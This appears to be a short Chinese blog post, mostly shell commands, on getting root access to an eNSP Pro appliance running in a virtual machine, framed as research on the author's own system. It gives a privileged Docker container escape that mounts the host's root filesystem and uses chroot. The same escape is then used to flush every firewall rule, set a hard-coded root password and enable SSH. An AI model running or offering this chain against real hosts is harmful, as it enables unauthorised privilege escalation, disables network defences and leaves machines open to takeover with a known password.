为了更好的研究ensp pro系统我们需要进入root权限直接使用4和5的指令就可以进入root。
因为以下命令很长,无法使用粘贴直接命令,方便期间。本次使用VM虚拟机+虚拟机VNC实现命令输入。
VNC开放方法就是VM虚拟机里的VNC连接开启


开启VNC后需要小工具辅助输入:

下面开始实验:
1.按C和Enter进入ensplite账户,看看docker ps:

2.第 1 步:确认逃逸镜像
docker images | grep ensp-cloud
docker image inspect localhost/ensp-cloud:1.0.0 | grep -iE 'Entrypoint|Cmd|Privileged'

3.第2步:确认提权可行
docker run --rm --network host --privileged --entrypoint chroot \
-v /:/mnt:rw -v /run:/run \
localhost/ensp-cloud:1.0.0 mnt /bin/sh -c 'id; hostname'

4.第3步:关闭22端口防火墙:(直接输入这个就可以连接SSH了)
docker run --rm --network host --privileged --entrypoint chroot \
-v /:/mnt:rw -v /run:/run \
localhost/ensp-cloud:1.0.0 mnt /bin/sh -c 'iptables -F; iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; nft flush ruleset 2>/dev/null; iptables -L INPUT -n | head -20'


已经可以连入了
5.第4步:修改root密码为Ensp@123并进入:
docker run --rm --network host --privileged --entrypoint chroot \
-v /:/mnt:rw -v /run:/run \
localhost/ensp-cloud:1.0.0 mnt /bin/sh -c "echo 'root:Ensp@123' | chpasswd; systemctl enable --now sshd; ss -tlnp | grep ':22'"

6.内核完全丢弃ICMP(net.ipv4.icmp_echo_ignore_all = 1 )导致无法ping通:
使用root执行:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
echo 'net.ipv4.icmp_echo_ignore_all=0' >> /etc/sysctl.conf
sysctl -p

这里可能是评论区! 呜呜呜~空空如也?!